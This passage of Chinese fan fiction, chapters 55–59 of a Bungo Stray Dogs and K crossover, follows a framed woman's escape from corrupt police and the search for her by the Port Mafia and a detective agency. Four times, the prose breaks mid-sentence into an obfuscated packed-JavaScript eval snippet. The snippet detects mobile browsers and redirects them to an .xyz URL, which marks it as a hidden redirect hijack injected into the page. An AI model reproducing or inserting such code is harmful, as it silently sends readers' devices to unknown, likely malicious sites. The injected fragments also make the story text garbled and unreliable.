命令刚发出去没一会儿,警部办公室的门就被暴力推开了。川崎林之怒气冲冲地站在门口,双目圆睁,胸膛不停地上下起伏。 “警部,这到底是怎么回事?!命案现场根本没有发现私藏枪支,现场的痕迹经过痕检和法医的鉴定也都没有任何问题,凭什么要抓她?!” 此前前往拘捕淡岛青理的警员是另一队的成员,川崎林之本来不知情。接到通缉淡岛青理的命令后,他先是茫然了一瞬,然后立刻找人询问了情况,这才知道淡岛青理被安上了一个私藏枪支和杀人的罪名。 他很震惊,也很愤怒,这是赤裸裸的陷害! 他不知道那位柔弱的夫人究竟得罪了什么人,他只知道这样做是不对的,是违法的,是违背警察的天职的! “哪怕真的是淡岛夫人杀人,面对五个手持枪支的壮汉,她这也能称得上是正当防卫,在判决没有下来之前你们凭什么强行拘捕?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983066|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 步入中年有些谢顶的警部端起茶杯嘬了一口,慢条斯理地说:“川崎啊,你还是太年轻,看不透案子背后的真相,这明显就是一起谋杀。” 川崎林之差点被他的屁话气笑了:“一个手无缚鸡之力的女人谋杀了一群闯入她家中抢劫的劫匪?!” 警部晃了晃脑袋,老神在在地说:“这件事呢,你也是被骗了,我不怪你。那个淡岛青理可不是什么普通女人,前去押送她的警察遭遇了意外,连人带车掉进水里了,刚刚才爬上岸。据他们所说,是异能者出现把人劫走了。” “能指挥异能者来劫囚,那女人能是什么善茬?这件事我已经上报给异能特务科了,你不要管什么案子,只要追查那个女人的踪迹,然后如实汇报就行了。” 一连串消息堵得川崎林之哑口无言,他嘴唇张张合合,最后一句话没说摔门而去。 留下警部在办公室轻哼一声:“哼,年轻人。” · 港口黑手党顶楼的首领办公室里,太宰治也得知了警车遇袭的消息。 “……轮胎的痕迹在半路突然消失了,接下来怎么办,太宰大人?” 前往追踪的港口黑手党成员追着警车的轮胎痕迹一路来到郊区,却发现轮胎印在某处突然截断了。 “搜寻四周,看有没有险要地形。”太宰治向电话另一端等候的成员发出了命令。 在他面前,森鸥外穿着一袭黑色大衣坐在办公桌后面,手肘抵在桌面上,双手交叉立于身前。 “淡岛夫人今天还真是多灾多难啊,先是遭遇入室抢劫,现在又被人冒充警察绑架。” 他微微低头,嘴里说着同情的话,眼中却看不出丝毫担忧的神色。 “不过太宰君,闹出这么大的动静,你让我很难办啊。” 虽然森鸥外将宝石线的事务交给太宰治负责,但实际上并没有给出太大的权力。淡岛青理出事后,太宰治无法调动底层人员去做与宝石走私无关的事,只能让森鸥外给他另行指派人手。 这次也是,太宰治接到电话后的第一件事就是找森鸥外要了一队人,开车追踪那辆警车的去向。 森鸥外:“不管幕后的主谋是什么人,这个时候和横滨市警察部对上都不是一个明智的选择。挖掉了毒疮的港口黑手党还在调息阶段,你这么引人注目地行事可是把港口黑手党放在风口浪尖啊。” “何况,”他暗紫色的瞳孔闪了闪,“这么一来,港口黑手党想要挤入宝石市场分一杯羹的事情可就瞒不住了。” 港口黑手党参与进这起案件之后势必会引起别人的注意,只要稍微一查他们暗地里的行动就会暴露,到时候港口黑手党的行事必然会困难许多。 太宰治倚在窗边的墙壁上,肩上披着那件别了小猫胸针的黑色大衣,一手插兜一手在手机键盘上飞快跳动。 “森先生不用叫苦,如果真的对港口黑手党那么不利,你就不会把人借给我了。” 指尖在确认键上一按,邮件“咻——”的一声发送成功。 56.第 56 章 森鸥外故意将事态说得很严重,其实是想要借此拿捏太宰治,换得一些主动权。 但是太宰治显然不吃他这一套。 “动手的很明显是星野会的人,只有他们敢那么明目张胆地坐着警车招摇过市。现在他们还不知道青理和港口黑手党有牵连,抓她大概是误认为那批宝石在她手里。等他们查清了青理和我的关系,他们要的就不只是那批宝石了。” 如今所有人都知道替森鸥外作证夺取首领之位的是一个缠着绷带的少年。如果此时他们手里正好有少年的亲属,这些黑手党会怎么做呢? 太宰治抬起头,鸢色的眼睛直晃晃地看向森鸥外:“森先生,你不会撒手不管吧?” 森鸥外叹气,无奈苦笑了一下:“当然,太宰君。” ——这就是他当初想要完全斩断太宰治与淡岛青理之间联系的原因。 一个有了牵挂的人,同时就有了弱点。而人一旦有了弱点,就容易被人威胁。 在淡岛青理的性命和港口黑手党的利益之间,森鸥外选择港口黑手党。可如果天平的另一端再加上太宰治的失控,森鸥外只能捏捏鼻子倒向利益的另一端。 就目前的情况来说,太宰治这个人能给港口黑手党带来的价值远比眼前的利益要多,他当然知道选哪边才是最优解。 太宰治握在手中的手机又响起了铃声。 接通后,刚刚那名黑手党成员的声音再次传来:“太宰大人!我们在附近的悬崖上发现了车子的痕迹!那辆警车冲下悬崖落入海里了!” 又是一阵跑动声和说话声,片刻过后,那名黑手党成员继续说:“我们在崖底发现了有人上岸的痕迹,六双脚印全部都是警靴,没有木屐的痕迹。我们现在怎么做?是下海寻找还是追上去拦截?” 电话的声音是外放的,听到成员报告的森鸥外用指节敲了敲桌子,轻笑一声勾起了唇角:“哦呀,看来出现了不得了的意外呢,太宰君。” “……”太宰治肩膀一塌,突然叹了口气,然后有气无力地说,“知道了,什么都不用干,直接回来吧。” 看来这件事情也不需要他太操心。 “能携带物品进行瞬移的异能力,或者是和空间有关的异能力?做出这件事的是淡岛夫人还是别的什么人,太宰君,你有头绪吗?”森鸥外眯起双眼,突然对这件事情产生了兴趣。 不过太宰治用脚趾想也知道,他感兴趣的不是淡岛青理的安危和去向,而是那个显露出了陌生异能力的人。 “狐狸尾巴露太多了,森先生。”太宰治收起了手机,从倚靠的墙壁上直起身,“如果是青理,那么在一开始她就不会被带走。” 这话半真半假,太宰治其实也不知道淡岛青理的异能具体是什么,她从未在他面前显露过。 早上的入室抢劫案中,倒是暴露了与结界和时间有关的能力。但是……当时在场的不止淡岛青理一人,那能力是她的还是莉帕的还未可知。 判断警车坠海事件不是淡岛青理所为的依据,是她对扮演普通人的谜之热爱。拒捕袭警变成通缉犯这种事怎么看都不像是她主动所为。但是她没有拒绝对方的营救,是认识的人吗? 森鸥外惆怅地叹了口气:“哎呀,那真可惜。我还想如果是淡岛夫人的异能力那就太好了,港口黑手党非常欢迎她。” 太宰治的话森鸥外信了,但只信一半。 很久之前他就发现淡岛青理的来历十分可疑,但多次追查下来始终没有发现问题。 再天衣无缝的伪装终究有露出破绽的那一天,今天劫走淡岛青理的人一定和她有着千丝万缕的关系,淡岛青理也必然不会是像她表现出来的那样普通。 所以她们的身份是什么?到横滨来有什么目的?又为什么接触太宰和港口黑手党?这些问题一天不能得知答案,森鸥外就一天不能安然入睡。 “森先生,做人不能这么贪心。” “哈哈,没办法啊太宰君,港口黑手党现在太缺人才了。” 森鸥外再次低头,将下巴抵在手背上,沉声说:“所以太宰君,宝石走私的事情先放一放,从现在起,我允许你全力追踪淡岛夫人的事件。” 或者说,全力追查那名陌生异能者的下落。 · 太阳当空,光线正好。 灿烂的阳光下,两个人影停在了街道转角的老旧红砖办公楼前。 中原中也用手遮在额前抬头向上望了望,语气有些迟疑:“这里是哪里啊,莉帕?” 金发萝莉穿了一件黑色洛丽塔裙,抱着一只棕色玩具熊站在他旁边,头上戴着一顶黑白相间的波奈特帽,帽檐刚好遮住了刺眼的阳光。 “武装侦探社。”她回答了中原中也的疑问后,低下头查看太宰治发来的讯息。 短信内容讲得很清楚,从港口黑手党调查到的现场痕迹和岸边脚印分析,警车半路遭遇了突发状况,有人让警车坠海,并带走了青理。目前青理下落不明。 太宰治的消息中不乏试探,想知道莉帕对此事怎么看。很可惜,莉帕也不知道这类似于空间转移的异能属于什么人。 她并没有那么了解淡岛青理的人际关系。 与漫长的离别相比,她和青理相处的时间少之又少,甚至比不过津美纪和惠。 此次她和淡岛青理重逢仅有半年多,而离别则是在近百年之前。也就是说至少在中间的百年里,她是对淡岛青理一无所知的。 尽管在重逢之后青理向她讲述了这么多年的经历,可是百年太长,不是所有细节都会被一一提起,至少她不知道淡岛青理有什么朋友或仇人是拥有空间系能力的。 她按动键盘给太宰治回消息,而旁边的中原中也很明显对她的回答并不满意。 “侦探社?”中原中也提高了声音,“所以这就是你说的办法?让侦探去调查警察?” 中原中也觉得自己大概是急昏了头,才听一个小学生的安排走了这么远的路来到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991007|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。究其原因,大概是之前是莉帕一本正经地分析那批警察里有假警察的样子太唬人了,才让他相信了莉帕所谓的能洗脱青理姐嫌疑的办法。 中原中也叹了口气,心想算了,莉帕才上小学一年级,知道有事可以拜托侦探已经很棒了。 收起手机的莉帕看出了中原中也的质疑,她不满地鼓起腮帮,从喉咙间发出了猫咪威胁时的呼噜声。 不要质疑阿尔托莉丝大人的决定! “好了好了,你别生气!”中原中也眼见莉帕气得眉头都拧成了倒八字,连连摆手安抚,“我知道了,我们就上去看看好了。” 乘坐电梯到达四楼,铺着绿色瓷砖的墙壁上竖立着一扇红色木门,门上挂了一个写有“武装侦探社”的金属门牌。 刚刚听莉帕提起的时候只注意到了“侦探”两个字,现在看着这块写有全名的门牌,中原中也想起来自己似乎听过这个名字。 “那对破了很多案子的侦探和武士的搭档吗?”福泽谕吉和江户川乱步最近风头正盛,中原中也多少听说过一些。 在他抬手想要敲门时,腿边的萝莉跳起来拧动了把手。 “吱呦——” 红色的木门向内打开,莉帕挂在门把手上荡进室内,然后松开手轻巧落地。 侦探社里,与谢也晶子正拿着一叠资料路过,看见这一幕愣了一下:“哎?你不是……”这个孩子不是刚被领走吗?怎么又回来了? 中原中也跟在莉帕身后进门,对着眼前身穿白衬衫黑长裙的女生说:“打扰了,我是中原中也,有事情想要委托。” 没等与谢也晶子做出反应,江户川乱步就从沙发上爬起来跑到了门边。他黑色的头发向上翘起,双手叉腰,趾高气扬地对莉帕说:“我就知道你会来!告诉你,现在的名侦探可没有之前那么好贿赂了,委托费你们要给多少?” 中原中也还没有反应过来这个一点不客气的家伙是什么人,莉帕已经径直伸出手掌张开五根手指说:“找到青理的下落,五百万。平息事态带来的影响,五千万。” 多少?! 中原中也被这个数字吓到了,他们去哪弄这么多钱?! 他试图出声阻止,江户川乱步已经迅速拍板成交:“社长!大生意!” 向社长的办公室招手大喊后,他对中原中也摆摆手:“安心,这位中也君,她绝对是拿得出这笔钱的。” 女孩身上穿的裙子都是私人定制,价值不菲,甚至送给社长的那只毛绒兔子的眼睛都是天然红宝石制成的。可想而知,淡岛家绝对财力丰厚。 也就是乱步大人心地善良,不然肯定要坑他们一笔的! 就这样,港口黑手党和武装侦探社在互不知情的情况下一起开始寻找淡岛青理的踪迹。 当然,其中江户川乱步是知情的,他在福泽谕吉诧异的目光中铆足了干劲,势必要先一步解决这起案件。 ——名侦探大人绝对,绝对不会输给任何人! 57.第 57 章 横滨的商业街,淡岛青理跟着蹦蹦跳跳的粉发少女缓缓前行。 虽然从黑警手中逃脱了,但是淡岛青理并不知道应该去哪儿。 不仅没能将她带回,还遭到了袭击,星野会和警署肯定不会善罢甘休,如果这个时候回家的话等于自投罗网,最重要的是可能会给邻居们带去麻烦。 在事情解决之前,她最好躲着不要被抓到。 她这么想着,脚步却不紧不慢,和前方活蹦乱跳的粉发少女形成了鲜明的对比。 猫是第一次来横滨,看什么都十分新奇。她手里捧着一份章鱼小丸子,刚从饰品店里出来又一个跳跃贴上了玩具店的橱窗。 “喵!小青!这个咸鱼抱枕好可爱!”少女瞪圆了眼睛,用垂涎欲滴的表情紧紧盯着玻璃后面的抱枕。 横滨真有意思,她看见了好多稀奇古怪的玩意,每个都好想要! “喜欢就买下来吧。”淡岛青理走到她身边,温柔地说。 “哎——”猫打开自己的钱包,踮着脚用力向里面张望,“可是小黑给的钱剩得不多了,吾辈得省着点花,吾辈还不想回去……”她语气失落,连翘起的发丝都跟着耷拉下来。 放在平时淡岛青理肯定是见不得少女这副模样的,大手一挥就会将东西买下来。可是现在她身无分文,身上的钱和手机在她上警车前就被拿走了。 “说起来,夜刀神先生没有和猫在一起吗?” 听到提问,猫从低落的情绪里抽离出来,鼓起了脸颊哼了一声:“小黑?才不要和他一起呢!” “嗯?”淡岛青理眨眨眼,“是吵架了吗?” 夜刀神狗朗与猫同样都是白银之王的氏族,在白银之王消失的这段时间中,他和猫一直在等白银之王回来。因为有着共同的信仰和共同的等待,两人的关系十分要好,虽然不算形影不离但也不会无故分开,现在猫独自出现在横滨是因为什么呢? “都是小黑的错!”猫将头一扭,表现得非常生气,实际上心里有些心虚。 其实真要说起来只是一件小事。她在寻找小白的过程中经常会买一些能够承载回忆的东西回来,比如小白同款油纸伞,比如小白躲藏过的玩偶服。发展到后来她还会买一些乱七八糟的东西回去,这就导致宿舍原本就不大的落脚空间变得愈发紧张。 关于这点小黑不止一次找她谈话,最近一次更是表示再不听话就要把她买的乱七八糟的东西丢出去。 这怎么可以?!那个巨型咸鱼挂件是她最重要的东西!那个达摩不倒翁也是她最重要的东西!还有稻草人,猫抓板,猫头鹰石像,图腾柱…… 总之猫和小黑吵了一架,并因为小黑的语气凶了一点,一气之下就离家出走了。 其实猫很快就消气了,也认真反省了自己,可是又放不下脸面去找小□□歉,所以就在学园外的大桥上等着,打算小黑追出来就跟他回去。 可是猫等了整整一上午,小黑都没有出来找她! 这下子猫是真的生气了,决定真的要离家出走!然而当她走远了又不知道能去哪里。 去吠舞罗吗?当然不行!再怎么说她也是白银氏族,不能让赤王的人看笑话! 于是猫就想到了曾经帮过她的小青!可是按照记忆来到米花的那户住宅之后,她发现小青已经搬走了。之后她又问了很多人,几经辗转才从一群小孩子那里得知了小青的下落。 从没来过横滨的猫刚到横滨就迷路了,但却在机缘巧合之下发现了被绑架的淡岛青理。 “总之,不要提那个家伙了,吾辈请小青吃盐烤鱼!”少女踮起脚尖四处张望,兴致勃勃地要找一家烤鱼店吃烤鱼。 淡岛青理没有阻拦,只是在发现远处的身影时无奈地说:“真可惜,怕是吃不到了,抓我的人来了。” 街道尽头是几个穿着制服手持武器的市警,他们手里拿着一张照片,时不时向周围的人询问。 两人一直没有掩藏踪迹的意思,路人们对两人印象深刻,很快就有人向她们的方向指了一下,身穿制服的警察们看见她们后立刻冲了过来。 “喵,是要玩躲猫猫吗?”猫瞪大眼睛,兴奋地拽住淡岛青理的手腕,“吾辈最擅长这个了,小青跟我来!” 接下来,猫领着淡岛青理与以市警为代表的追击势力展开了马拉松式的拉锯战。 接到通缉命令的警察并不完全知道自己要逮捕的是什么人,也不知道她犯了什么罪,只是完成任务而已。所以一开始他们并没有将这个任务当成一回事,甚至边追边悠哉游哉地讨论下班后吃些什么。 然而很快他们就发现了事情的诡异之处,明明已经追到了人,但在伸手抓住两人衣角的一刻,两人的身影突然消失,接着又出现在十米之外。那个粉色头发的少女还停下来向他们吐舌头,发出“略略略”的嘲讽声。 真是岂有此理! 市警小队的队长立刻掏出传呼机通知附近的其他小队向这边围拢,打算进行一个瓮中捉鳖。 随着包围圈逐渐变小,被追击的两人逐渐慌不择路,最后竟然跑进了一条死胡同。 “看你们这次还往哪儿跑!”市警们堵在巷子口,呼哧呼哧地喘着气。这两个人也太能跑了吧?! “你们两个,不要反抗,赶紧跟我们回警署!” 面对一群身形高大的警察,粉发少女笑了一下:“欸嘿,才不要呢。” 铃铛叮铃一声轻响,身后的墙壁浮起了粉色的漩涡。她领着淡岛青理向后退了一步,轻松地穿过墙壁消失了身影。 “什么?!”小队长冲上前用力拍打墙面,红砖墙纹丝不动,锤得他手掌发麻,“可恶的异能力者!” 不远处的天台上,猫望着下面四处搜寻的警察,伸手比划了一个胜利的手势:“是吾辈赢了!嘿嘿!你们比起那群穿蓝衣服的家伙还差得远呢!” 望着少女灵动活泼的模样,坐在阴影中的淡岛青理笑了一下。 算了,虽然事情变得麻烦了一点,但是这样也不错。她好久没有像今天这样跑动过了,当清风蹭过脸颊的时候,似乎心也跟着身躯一起变得轻盈有力。 那是许久未曾有过的感觉。 猫是喜欢太阳的动物,少女没有像淡岛青理一样坐在天台入口的阴影里,而是找了一处阳光直射的地方仰面躺下。温暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003822|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的日光洒在身上,她舒服地眯起了眼睛。 “还没有白银之王的下落吗?”淡岛青理问。 “是啊……”猫翻了个身,粉色的长发铺在地上,“真不知道小白到底去哪了。” 在与无色之王经历一场恶战之后,身为白银之王的阿道夫·K·威兹曼彻底失去了踪迹。他将无色之王封印在体内,被上一任赤王周防尊击穿了胸口,按理说应该是同无色之王一起死去了。 但偏偏作为第一王权者,他的能力是不死,所以大多数人都认为他一定还活着,还活在世界上的某个角落里。 “不死之王啊……”淡岛青理低头望着掌心,喃喃自语。 猫在地上打了个滚,面向淡岛青理,疑惑地眨了眨眼睛:“嗯?小青你说了什么吗?” “不,没有,”淡岛青理抬头笑了一下,“只是说,如果找到了白银之王的踪迹,请务必通知我,我也想见见猫最喜欢的小白是什么样子。” “喵!” 提到小白,猫一个翻身从地上爬了起来,拿着手机凑到淡岛青理身边说:“吾辈有小白的照片,小青和吾辈一起看!” · 与明明身处通缉中还悠闲自在看照片的两人不同,异能特务科里有人正在左右为难。 作为内务省的官方组织,异能特务科有权力管理横滨的异能者事件,但这并不代表他们能掌控整个横滨的异能者。在横滨这个黑手党猖獗的城市,官方组织的权力并没有想象中的大。 因此,为了这个城市的和平,为了构建稳定的秩序,异能特务科长官种田山头火接受了由夏目漱石先生提出的“三刻构想”。 ——白天由军警和异能特务科来维持,夜晚由港口黑手党来把守,而白天与黑夜的交接处,由武装侦探社来管理黄昏。 数月之前,随着夏目漱石的弟子森鸥外正式接管港口黑手党,“三刻构想”已经初具雏形。但港口黑手党对地下组织的掌控还远远不够,距离成为横滨的黑夜霸主还有很长的一段路要走。 刚接到市警传来的协同抓捕申请的时候,种田山头火还是思路清晰的。 一名未被登记的陌生空间异能力者袭击了押送途中的警车,劫走了犯人,异能特务科有权力派遣军警将异能犯案人员抓捕归案。 但是相关联络人员经过初步了解,传回来了一个不太妙的消息——有人举报,警局内有人和黑手党星野会勾结,被劫走的犯人是被陷害的。 其实这倒不是什么值得为难的事情,市警办案与异能者犯案是两件事,他们只负责抓异能者,不管市警的案子。 但问题是,这辆警车不是在回警局的途中被劫的,因为它根本没有开回警局,而是直奔星野会的领地。 人是星野会抓的,车是在星野会的地盘上遇袭的,现在要异能特务科把人抓回来? 种田山头火摸了摸自己反光的脑袋,总觉得哪里不太对劲。 抓吧,有帮黑手党犯案的嫌疑,不抓吧,官方组织的面子又何在? 偏偏这个时候,还有人来给他添乱。下属匆匆跑进办公室,递给他一封信,说是港口黑手党派人送过来的。 58.第 58 章 种田山头火打开港口黑手党送来的信,潦草的几行字映入眼帘。 信的大致意思是,星野会联合黑警抓捕无辜群众(港口黑手党成员家属版),希望异能特务科坚守正义,不要干涉此事。否则港口黑手党有理由怀疑异能特务科与星野会有勾结,并将会把这个消息广而告之。 ——黑手党劝异能特务科坚守正义,你听听这像话吗? 种田长官十分不爽。 但是被劫人员突然从普通人变成了港口黑手党成员家属,这意味着这件事上升为了两个黑手党组织之间的争斗,异能特务科还真不好随便插手。然而被袭击的总归是警车,如果他们不抓人的话,市警那边怎么回复呢? 好在,没等他纠结太久,真正把他从漩涡中拯救出来的救星就出现了。 武装侦探社社长福泽谕吉,携江户川乱步前来拜访。 在武装侦探社建立初期,种田山头火帮了福泽谕吉不少忙,所以两人见面后气氛相当融洽。种田山头火将两人请进办公室,为他们各自倒了一杯茶。 福泽谕吉双手接过茶杯,看种田山头火还有找酒的倾向,连忙阻止:“不必麻烦了,种田先生,我们是为了警车遇袭一案而来。” “哦,那件事,”种田长官已经抬起的屁股重新落回了椅子上,“看来消息传得很快啊。还是说,那个被劫的女人与武装侦探社也有关系?” “确实有些关系,种田先生。”福泽谕吉笔直地坐在椅子上,双手放于膝盖,正视着对面的种田长官,“淡岛夫人被劫走后就失去了踪迹,淡岛夫人的女儿委托我们寻找淡岛夫人的下落,并希望我们能洗清淡岛夫人身上的罪名。” “这样啊……”种田山头火捋了捋下巴上的小胡子,思考片刻,“但这件事说到底还是归市警管,你来找我,我也帮不上什么忙。” “并非是想请您帮忙翻案,”福泽谕吉正色说,“想必您已经接到了警方协同抓捕的请求,我此次前来是希望您能拒绝此事。” “嗯?”种田山头火停下了手中的动作,“理由呢?” 福泽谕吉转头,青色的眼瞳落在旁边昏昏欲睡的少年身上:“乱步。” 被叫到名字的少年一个激灵,飞快地抹了一把嘴角并坐直身体。 “啊,要问理由,”少年嘴角勾起一个张扬的笑,“因为袭击警车的人根本不是异能力者啊!” 江户川乱步站起身来,一甩披风,骄傲地说:“名侦探大人已经查清楚了,今早有一位王权者氏族乘坐新干线从米花抵达横滨,其行动轨迹与警车行动路线正好相交,而淡岛夫人在搬来横滨之前正是在米花居住。” 福泽谕吉适时地将一张照片放在桌子上推给种田长官,照片上是一个有着粉色长发和蓝黄异瞳的可爱少女。 江户川乱步:“根据商业街目击者的证词,已经可以确定带走淡岛夫人的人就是这个白银之王的氏族成员,所以名侦探是特意来好心提醒你的,还不快谢谢名侦探!” “乱步。”福泽谕吉皱了一下眉,让他收敛一下嚣张的气焰。 种田长官并不在意,他盯着手里的照片捋捋胡子,发出了思考声:“原来如此,既然是这样,异能特务科确实不方便插手。” 不如说,插手了就会有大麻烦——Scepter 4的那群人可难缠得很。 “看来这次确实要感谢两位带来的消息,”种田长官说,“倒是没想到港口黑手党的人和白银氏族还有联系。” 虽然森鸥外的来信中说被劫走的女人只是普通成员的家属,但种田山头火可不信森鸥外那个老狐狸会为了一个普通成员的家属给异能特务科写信。 人虽然不能抓,但看样子他也要和Scepter 4的人谈谈。横滨虽乱,也不是什么人都能来插手的。 “港口黑手党?”福泽谕吉听到这个消息愣了一下,不清楚这里有港口黑手党什么事。 “啊!社长!消息也送完了,我们赶紧去警局吧!”江户川乱步连忙起身,用力推着社长的背往外走。 糟糕糟糕,不能让社长知道这件事和港口黑手党有关,不然乱步大人收受贿赂的事情就要瞒不住了! 福泽谕吉慌张回头:“等一下乱步,还没道别,太失礼了……” “哎呀哎呀,种田大叔我们走了!好了,我说过了,赶紧走吧!”两人推推搡搡地离开了种田长官办公室。 坐在原地的种田山头火没有计较江户川乱步的失礼,相反他十分欣慰。这对搭档的关系仍然那么好,乱步在福泽的教导下也逐渐融入了社会,真是太好了。 他满意地晃了晃脑袋,视线扫到了桌上的照片,心头一梗,认命地拿起电话开始拨号。 而江户川乱步在离开异能特务科后并没有像他所说的那样前往警局,而是让福泽谕吉领着他去车站。 “去那里干什么?”福泽谕吉不明白。 “当然是等人了,”江户川乱步双手插兜,一蹦一跳地走在路上,“虽然很不甘心,但是翻案这件事有人比我更适合去做。毕竟这件事根本没有名侦探的用武之地嘛!” 洗脱淡岛青理的罪名,这件事情的难点并不在于如何查明案情,而是如何游说市警。案件的始末从一开始就非常清晰,这一点下令抓捕淡岛青理的警部心知肚明。 淡岛青理是被冤枉的,警部比谁都清楚这一点。毕竟不是有那么一句话吗?冤枉你的,比你更知道你有多冤枉。 所以与其去和装糊涂的警部扯皮,江户川乱步更愿意去做另一件事。 · 两拨人马为其奔走,身为事件中心的淡岛青理本人却实在悠闲。 猫的能力有一项是修改记忆,只不过作用人数不能太多。靠着这一点,两人在绕开追捕后还优哉游哉地去吃了一顿盐烤鱼。 饭后又进行了一点你追我逃的消食运动,眼看天色渐暗,淡岛青理开始考虑今晚的去处。 突然一阵电话铃声响起,她回头,看见猫双手捧着手机,表情如临大敌。 “不接吗?”淡岛青理问。 “是小黑打来的,”猫噘着嘴说,“吾辈还没有原谅他。” 只要淡岛青理愿意,她总是能从旁人细微的表情变幻上推断出他们的心理,只是绝大多数时候她并不在意别人的想法罢了。 眼前的少女虽然扭过头,一副赌气的模样,一双猫眼却不受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010345|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控制地往屏幕上望去,双手也将手机攥得紧紧的。 猫真的,天真、任性、又实在好懂。 和太宰是两个极端。 “还是接一下吧,说不定夜刀神先生是来和你道歉的呢?”淡岛青理笑着说。 有了台阶下的猫听了这句话,貌似不情不愿实则动作飞快地接通了电话:“好吧,看在小青给他求情的份上。”才不是她想接呢。 电话刚一接通,对面就传来了一道带着怒气的男声:“你怎么一声不吭跑那么远!知不知道横滨很危险?!你现在在哪?立刻把地址发给我!” 本以为小黑打这通电话是来求和的,猫都想好怎么原谅他才能显得自己不那么不讲理了,结果扑面而来的质问打了她一个措手不及。 反应过来后的猫直接炸毛了,干什么那么凶! 于是她同样大声地回答:“哈?!吾辈去哪里关小黑什么事?你是什么人?吾辈只听小白的!” 怒气上头的时候人都会口不择言,尤其是对着关系亲密的人时,说出的话往往也最伤人。 眼见这两个人就要隔着电话吵起来,为了消减一些不必要的摩擦,淡岛青理从猫手中拿走了电话。 “晚上好,夜刀神先生,许久未见,近来可好?” 电话那边,夜刀神狗朗正因为猫的话咬牙握紧了手机。 他知道猫适应人类社会还没多久,其实就像一个孩子,说出的话或许并不是她的本意。但语言是有力量的,并不会因为说的人无心就能避免伤害。 他算什么人?他们难道不是家人吗? 他按了按眉心强行将怒火压了下去,甚至有些冷静地分析到,是他的问题,是他刚刚语气太重才会让猫生气。 在他再次开口之前,电话那一端却传来了细微的摩擦声,貌似是手机落在了另一个人手里。 随即听筒中传来一道温润轻柔的声音打断了他的思绪,他怔愣一下,压抑着的怒气也随之不翼而飞。 他记得这个声音的主人。 那是一个仅仅有过一面之缘,却给他留下了深刻印象的女士。美丽而坚毅,温柔且强大,就像他们的王一样。 尽管电话另一端的人看不见,他还是停下脚步,神色恭敬地回答道:“淡岛女士,在下一切安好,有劳挂念。请问猫和您在一起吗?” “是的,猫在我这里。” 淡岛青理并不知道自己在夜刀神狗朗心里的形象竟然能比肩白银之王,这说辞如果让莉帕听见了大概要笑掉大牙。 她拍了拍旁边自知说错话而惴惴不安的猫,通过电话那头传来的站台的播报声,分析出了夜刀神狗朗的位置。 “夜刀神先生现在是在横滨?” “是的,我以为猫是去了吠舞罗那里,没想到傍晚的时候接到了Scepter 4的电话,这才知道她来了横滨。”夜刀神狗朗说着,走出了横滨的站台,“方便告知您现在的位置吗?我来接她回去。” “当然可以,我把地址发给你。” 夜刀神狗朗挂了电话,很快就收到了一条写有地址的短信。他轻呼一口气,从得知猫去了横滨就一直提心吊胆的心情终于放松下来。 59.第 59 章 知道猫的下落后,夜刀神狗朗松了一口气。 作为异能者的聚集地,横滨有自己的管理体系,王权者的势力在此未能渗透。他知道以猫的性格一定会闯出祸来,如果得罪了人被抓起来就糟了。 好在此处的机构也无意与王权氏族交恶,只是告状告到了Scepter 4那里,宗像礼司得知后就通知他来接猫。现在知道猫和淡岛女士在一起,他又安心了许多,最起码不用担心她在此期间再闯出什么祸来。 他拿出地图对照了一下淡岛女士发来的地址,发现是在一处公园,于是快步朝着那个方向前进。 只是他还没走几步就被人叫住了。 “请留步,这位少年。” 陌生的声音突然在背后响起,一直警戒着的夜刀神狗郎猛地转身,将手握在佩刀上。 但与他想象的不同,拦住他的既不是传说中的黑手党,也不是前来监视他的官方组织,而是一位身穿羽织的男子和一位侦探打扮的少年。 注意到两人均手无寸铁且并无恶意,他放松了身形,礼貌询问:“阁下是?” 在他打量两人的同时,在此处等候许久的福泽谕吉也在打量着他。他与乱步在此处已等候许久,终于等到了乱步要等的人。 身形笔挺的黑衣少年面容清秀,一头顺滑的黑色长发在脑后束成一个马尾。他腰间挂着一把收在刀鞘内的佩刀,望过来的眼眸明亮而坚毅。 